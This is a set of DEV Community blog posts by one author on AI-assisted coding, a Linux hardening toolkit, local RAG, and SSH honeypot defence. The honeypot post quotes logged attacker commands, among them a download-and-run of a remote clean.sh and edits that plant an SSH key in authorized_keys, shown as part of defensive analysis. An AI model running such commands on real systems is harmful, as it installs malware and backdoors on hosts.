DEV Community: Kashif Eqbal

AI Didn’t Replace Developers — It Just Put Everyone in a Faster Car

Kashif Eqbal — Sat, 14 Mar 2026 11:56:04 +0000

AI Didn’t Replace Developers — It Just Put Everyone in a Faster Car

AI didn’t replace developers.

It did something more dangerous.

It put everyone behind the wheel of a very fast car.

Traditional coding was the horse era.

AI-assisted coding is the car era.

Both can get you to the destination.

But speed, scale, and risk are completely different.

Horse Era vs Car Era

In the horse era:

Progress was slower
Fundamentals were unavoidable
Mistakes happened, but the blast radius was smaller

In the car era:

You can move much faster
More people can "drive"
One bad decision at high speed causes bigger damage

That’s exactly what AI changed in software.

AI Is a Car, Not Autopilot Wisdom

AI can generate code in seconds.

It can draft APIs, tests, and docs quickly.

But speed is not skill.

We’ve all seen it:

AI generates a function that "works"…

until production traffic hits it.

In real teams, this becomes:

insecure code shipped too fast
wrong logic in production
copy-paste engineering without understanding
technical debt created at high velocity

AI is not the problem.

Unskilled driving is the problem.

The Best Developers Are OG Drivers

The strongest developers are OG drivers — they can operate in both eras.

Horse skills (fundamentals)

problem-solving
architecture thinking
debugging discipline
performance and security mindset

Car skills (AI era)

prompting clearly
validating model output
iterating fast without losing quality
using AI as leverage, not authority

They don’t just move fast.

They move fast with control.

A Practical Workflow That Works

Use AI for first draft
Do architecture decisions yourself
Run tests + static checks
Review security + edge cases
Refactor before merge

AI can generate code.

You still own production outcomes.

Final Thought

Horse travelers were never wrong.

Car travelers are not cheating.

But in this era, everyone can access speed.

Very few can control it.

AI made coding faster. It didn’t automatically make developers better.

Curious how others see this:

Are we entering an era where AI creates better engineers…

or just faster mistakes?

How are you using AI in your workflow today?

Meet WatchClaw: One Command to Harden a Linux Server

Kashif Eqbal — Wed, 04 Mar 2026 12:30:25 +0000

If you've ever hardened a fresh Linux server, you know the drill:

lock down SSH
baseline firewall rules
configure fail2ban
add honeypot/tripwire signals
harden kernel/sysctl settings
keep the setup reproducible across machines

Most teams do this with scattered shell snippets, old runbooks, and memory.
That works—until you need consistency, speed, and repeatability.

So I built WatchClaw.

GitHub: https://github.com/kashifeqbal/watchclaw

curl -fsSL https://raw.githubusercontent.com/kashifeqbal/watchclaw/main/install.sh | bash

What is WatchClaw?

WatchClaw is a modular Linux security hardening toolkit.
It turns a fresh VPS into a hardened, monitored, self-defending system in minutes.

At a high level, it combines:

baseline hardening (SSH, firewall, fail2ban, kernel)
deception + detection (Cowrie honeypot + canary tripwires)
threat intelligence (import/export feeds + cross-node sharing)
plain-English reporting and alerting

CLI:

watchclaw

Example output:

SYSTEM HEALTH: OK
SECURITY STATUS: LOW
Risk Meaning: Normal background noise
Action Right Now: No action needed

Active Threat Score (last 30m): 23.0
Top Offender (last 30m): 203.0.113.42 (18.0 in 30m)

Modes

WatchClaw supports two operating modes:

Standalone: pure bash + cron workflows, no agent dependency
With OpenClaw Agents: adds AI-powered analysis and richer automation workflows

Design Goals

I designed WatchClaw to be:

Opinionated, but transparent
- sensible defaults
- plain shell under the hood
- easy to inspect and customize
Modular
- enable components independently
- avoid all-or-nothing hardening scripts
Operationally practical
- immediate hardening value
- post-change service health checks
- human-readable reports

Current Modules

WatchClaw currently ships with:

ssh-harden — moves SSH off port 22, disables password auth, key-only access
ufw-baseline — minimal firewall rules, deny-all default
fail2ban — auto-ban repeated auth failures
cowrie — SSH honeypot that catches and scores attackers
kernel — 29 sysctl hardening settings (SYN flood, ASLR, anti-spoofing)
canary — fake sensitive files that alert on access (tripwires)
threat-feed — import/export IP blocklists
sync — share threat data across multiple nodes

Together, these cover baseline hardening, lightweight deception, and cross-node threat coordination.

What You Get

Recent updates made WatchClaw significantly more production-ready:

one-command installer (install.sh) with --standalone, --with-agents, --modules, and --dry-run
score-based ban policy with escalation:
- score ≥25 → 24h ban
- score ≥75 → 7d ban
- score ≥150 → permanent ban
instant ban for successful honeypot login attempts
rolling threat scoring + score decay + stale threat pruning
IP enrichment (ASN/geo/reputation cache)
plain-English posture reports for quick operator decisions
exportable blocklists and sync across nodes

Why Canary Tokens Matter

Hardening reduces attack surface.
Canaries improve detection confidence.

WatchClaw's canary layer is intentionally simple: if something touches a file that should never be touched, that signal should be immediate and obvious.

This is less about flashy threat intelligence and more about reducing time-to-awareness.

Real Numbers from a Real Server

WatchClaw isn't theoretical. It's been running on a $14/month Contabo VPS for weeks. In one 24-hour period: 87 unique attacker IPs, 281 honeypot login attempts, 1,052 commands executed in the honeypot, 10 tunnel attempts, and 67 IPs auto-banned. Zero breaches on the real SSH port.

Why Another Security Tool?

Because many teams don't need a heavyweight platform to improve security.
They need:

reliable baseline hardening
clear, reversible scripts
enough detection + response to avoid blind spots
a system they can run and understand without a SOC

WatchClaw is built for that middle ground.

Roadmap (Near Term)

install validation on fresh VPS images
improved drift detection and rollback
richer feed quality controls and trust scoring
public threat blocklist feed (watchclaw-threats repo)

Final Thought

Security maturity rarely comes from one dramatic upgrade.
It comes from repeatable controls, fast feedback loops, and steady iteration.

That's what WatchClaw is for.

If you want to review or contribute, check the repo and open an issue or PR:

https://github.com/kashifeqbal/watchclaw

Vectorless RAG Meets Agent Memory: Running Hindsight + PageIndex Fully Local

Kashif Eqbal — Mon, 02 Mar 2026 10:04:48 +0000

Most RAG systems work the same way: chunk documents, embed them into vectors, run similarity search, and surface the closest match. It works — until it doesn't. Similarity is not relevance. On complex professional documents, that gap shows up quickly.

A Different Retrieval Model

PageIndex from VectifyAI skips chunking and embedding entirely. It builds a hierarchical tree index from the document structure — effectively an auto-generated table of contents — then uses LLM reasoning to navigate that structure. No vector database. No chunking pipeline. Reported accuracy: 98.7% on FinanceBench.

Memory, Not Just Retrieval

Hindsight by Vectorize.io handles long-term agent memory. It organises memory into three types:

World facts
Experiences
Mental models

...accessed through a retain → recall → reflect API. It leads the LongMemEval benchmark for agent memory accuracy.

The Problem

Both systems are capable — but both depend on external APIs. I wanted the same functionality running fully local, offline, and deterministic. So I built hindsight-pageindex.

What It Is

A local runtime scaffold that vendors PageIndex and exposes a Hindsight-compatible REST interface:

POST /index   → ingest .md or .pdf
POST /query   → retrieve top-K relevant sections
GET  /docs    → list indexed documents

Retrieval uses PageIndex's lexical + document-structure scoring. Markdown hierarchy is preserved, so queries resolve against document meaning rather than raw keyword matches. Fast. Deterministic. No external API calls.

Setup

git clone https://github.com/kashifeqbal/hindsight-pageindex
cd hindsight-pageindex
npm run setup:local
cp .env.example .env
# Set CHATGPT_API_KEY and API_TOKEN
npm run start
# → Listening on 127.0.0.1:8787

Try It in Under a Minute

cat >/tmp/hindsight-sample.md <<'MD'
# User Profile
## Location
Based in Gurgaon, India.
## Preference
Prefers concise, direct answers.
MD

export API_TOKEN='your-token-here'
node scripts/test-index.mjs
node scripts/test-query.mjs

Ranked sections return instantly — no embedding service, no network round-trip.

Why This Pairing Works

Hindsight manages memory lifecycle. PageIndex handles document reasoning retrieval. Together they cover the full local memory stack:

Layer	Tool
Memory lifecycle	Hindsight
Document retrieval	PageIndex
Infrastructure	Your machine

When to Use This

Air-gapped or privacy-sensitive environments — memory stays on device
Personal AI assistants — profiles and preferences that shouldn't reach a cloud API
Prototyping before committing to the full Hindsight hosted stack
Where explainability matters — tree traversal is traceable; cosine similarity isn't

What's Next

[ ] LLM-guided tree search in /query — the full PageIndex reasoning pass, locally
[ ] Multi-doc cross-query support
[ ] Optional embedding scorer as a drop-in upgrade path

Repo: github.com/kashifeqbal/hindsight-pageindex

If you're building local-first agent memory or have used PageIndex or Hindsight in a different setup, happy to compare notes.

Why Fail2ban Alone Is Not a Security Strategy

Kashif Eqbal — Sun, 01 Mar 2026 23:10:58 +0000

Fail2ban is useful. I run it on every VPS.

On internet-exposed systems, brute-force SSH traffic never really stops.

If your security plan is only “install fail2ban,” your server is still exposed.

The core issue: fail2ban is reactive. It reads logs and bans sources after bad activity happens. That reduces noise, but it does not reduce your attack surface.

What fail2ban does well

For SSH, fail2ban is good at:

detecting repeated failed authentication attempts
banning obvious brute-force sources
reducing background bot noise

That is real value. Keep it.

Where fail2ban alone breaks

This is where the operational gap appears.

1) It reacts after the hit

Attackers still reach the service first. The ban happens later.

2) It only protects what you configured

No jail, no protection.

3) It does not hide your real target

If real SSH is public, scanners will keep hitting it indefinitely.

4) Low-and-slow traffic evades thresholds

Attackers rotate IPs and stay below ban limits.

5) “Installed” ≠ “effective”

Common weak setups include:

default jails only
short ban windows
no escalation for repeat offenders
no alert feedback loop

What attacker flow usually looks like

On exposed SSH, activity typically follows a predictable pattern:

credential spray (root/password, common combos)
probe command (echo "ok" style validation)
host fingerprinting (uname, cpuinfo, meminfo)
persistence attempt (authorized_keys edits, flags)
malware or script download attempt

Fail2ban mainly reduces step-one noise. It does not address the full chain.

What to do instead: layered baseline

Use fail2ban as one layer, not the strategy.

Layer A — Put a decoy on port 22

Run Cowrie so scanners interact with fake SSH instead of the real service.

Layer B — Hide real SSH

Move real sshd off the public interface (loopback-only) and access it through secure ingress such as a Cloudflare Tunnel.

Layer C — Default-deny firewall

Expose only services that must be reachable.

Layer D — Volume-based auto-ban

Quickly block high-volume sources detected via honeypot telemetry.

Layer E — Fix alert quality

One clean operations channel. Noisy alerts get ignored.

Layer F — Handle secrets properly

Avoid long-lived plaintext secrets on disk.

Minimal checklist for small teams

If you run a public VPS, this is a practical baseline:

fail2ban tuned and verified
firewall set to default deny
real SSH not publicly exposed
honeypot or equivalent SSH telemetry
meaningful alerts for spikes and bans
weekly log review and threshold tuning

One-Day Hardening Plan

In a single focused session:

tune fail2ban jails and verify bans
move real SSH off the public interface and enforce key-only auth
add honeypot (or structured SSH telemetry) and alerts
implement auto-ban for high-volume sources
review logs and tighten thresholds

Practical takeaway

Keep fail2ban.

Just don’t treat it as the whole strategy.

On public infrastructure, security comes from layers: less exposure, better telemetry, faster response. Teams operating with smaller attack surfaces and clear visibility make better decisions when incidents happen.

I Deployed a Fresh Ubuntu VPS - It Was Attacked 27,000 Times in 24 Hours

Kashif Eqbal — Sun, 01 Mar 2026 22:15:51 +0000

I Deployed a Fresh Ubuntu VPS - It Was Attacked 27,000 Times in 24 Hours

Fresh Ubuntu 24.04 on a $14/month Contabo VPS.

No app. No data.

Within hours, logs were full of garbage traffic.

TL;DR

In the first 24 hours on a public IP:

27,253 connection attempts
99 unique attacking IPs
3 malware download attempts
1 persistence attempt that would likely compromise a normal box

Defense stack I used:

Cowrie on port 22 (honeypot, fake shell, full logs)
Real SSH moved to loopback-only
Cloudflare Tunnel for real access
Auto-ban script + fail2ban
Internal services bound to loopback
Secrets loaded from 1Password at boot

This setup is reproducible.

What the logs showed

One IP (93.188.83.96) made 20,822 attempts in one day.

Almost every session ran:

echo -e "\x6F\x6B"

That is echo "ok" in hex. Standard credential validator behavior.

Raw snippets from Cowrie logs:

2026-02-21 03:12:11 [cowrie] login attempt root:password [FAKE SHELL]
2026-02-21 03:12:13 [cowrie] command: uname -s -v -n -m
2026-02-21 03:12:14 [cowrie] command: cat /proc/cpuinfo
2026-02-21 03:14:02 [cowrie] download attempt: http://194.165.16.11/clean.sh
2026-02-21 03:14:05 [cowrie] command: chmod +x clean.sh; sh clean.sh
2026-02-21 04:22:31 [cowrie] command: chattr -ia ~/.ssh/authorized_keys
2026-02-21 04:22:32 [cowrie] command: echo "ssh-rsa AAAA..." >> ~/.ssh/authorized_keys
2026-02-21 04:22:33 [cowrie] command: chattr +ai ~/.ssh/authorized_keys

That last sequence is persistence.

On a normal server, it can stick. In Cowrie, it is fake filesystem noise.

What most people get wrong

Most break-ins come from boring mistakes:

SSH exposed with password auth
Services bound to 0.0.0.0
Secrets left in .env forever
No telemetry, so no visibility into active attacks

You do not need enterprise tooling first.

You need fewer exposed surfaces and better visibility.

Defense stack

Rule: assume each layer fails eventually.

Internet Scanners
        ↓
Cloudflare (DDoS + Tunnel + Access Auth)
        ↓
  ┌─────────────────────────┐
  │     UFW Firewall        │
  │   (default deny all)    │
  └─────────────────────────┘
        ↓               ↓
   Port 22          Port 2222
  (Cowrie)        (Real SSH)
  Fake shell      Loopback only
  Full logging    Key auth only
        ↓               ↓
  Attack logs     Real access
        ↓
  Auto-ban + Telegram alerts
        ↓
  All services on loopback
  (zero direct exposure)
        ↓
  Secrets from 1Password
  (nothing long-lived on disk)

Layer 1: Cowrie on port 22

Cowrie accepts attacker traffic and logs everything.

sudo apt update && sudo apt install git python3-venv -y
git clone https://github.com/cowrie/cowrie
cd cowrie
python3 -m venv cowrie-env
source cowrie-env/bin/activate
pip install -r requirements.txt
cp etc/cowrie.cfg.dist etc/cowrie.cfg

Run it as non-root. Keep logs.

Layer 2: Real SSH off the public interface

Move real SSH to loopback:

sudo nano /etc/ssh/sshd_config

Port 2222
ListenAddress 127.0.0.1
PasswordAuthentication no
PubkeyAuthentication yes

sudo systemctl restart ssh

Now real SSH is not publicly exposed.

Access goes through Cloudflare Tunnel.

Layer 3: Auto-ban heavy sources

Every 15 minutes, parse today’s Cowrie logs and ban noisy IPs:

#!/bin/bash
LOG_FILE="/home/cowrie/cowrie/var/log/cowrie/cowrie.json"
TODAY=$(date +%Y-%m-%d)

jq -r --arg date "$TODAY" \
  'select(.timestamp | startswith($date)) | .src_ip' "$LOG_FILE" | \
  sort | uniq -c | sort -rn | \
  while read count ip; do
    if [ "$count" -ge 20 ]; then
      ufw insert 1 deny from "$ip" to any
      # send Telegram alert
    fi
  done

fail2ban stays enabled for real SSH too.

Layer 4: Internal services on loopback

Example:

127.0.0.1:18789  ← AI gateway
127.0.0.1:8384   ← Syncthing
127.0.0.1:8787   ← Internal tools

No direct public exposure for these services.

Layer 5: Secrets loaded at boot

Secrets are stored in 1Password, then loaded by systemd at startup.

# /etc/systemd/system/load-secrets.service
[Unit]
Before=app.service
After=network-online.target

[Service]
Type=oneshot
ExecStart=/usr/local/bin/load-secrets.sh

# load-secrets.sh
export OP_SERVICE_ACCOUNT_TOKEN=$(cat /root/.op-service-token)
get() { op item get "Server Secrets" --vault MyVault --reveal --fields "label=$1"; }

cat > /root/.env << EOSECRETS
OPENAI_API_KEY=$(get OPENAI_API_KEY)
DB_PASSWORD=$(get DB_PASSWORD)
EOSECRETS
chmod 600 /root/.env

Why this works

Most attackers optimize for speed and volume. They assume:

SSH on 22
password auth available
public services they can scan

This setup breaks those assumptions.

4 attacker types from day 1

Type	Goal	Risk	Defense
Credential bots (90%)	Find weak passwords	Low	Honeypot
Fingerprinters (8%)	Check hardware for mining targets	Medium	Hidden services
Persistence attackers (1.5%)	Plant SSH backdoors	High	Fake filesystem
Malware loaders (0.5%)	Drop miners/bots	Critical	Isolation

Notes

This setup took around two days to get right end-to-end.

Main gaps I see on small VPS setups:

no honeypot
fail2ban treated as complete protection
secrets living on disk forever
no attack telemetry

If you run public VPS infrastructure, this setup is worth implementing.

Public IP means constant scanning.

First 24 hours here: 27,253 attacks, zero breaches.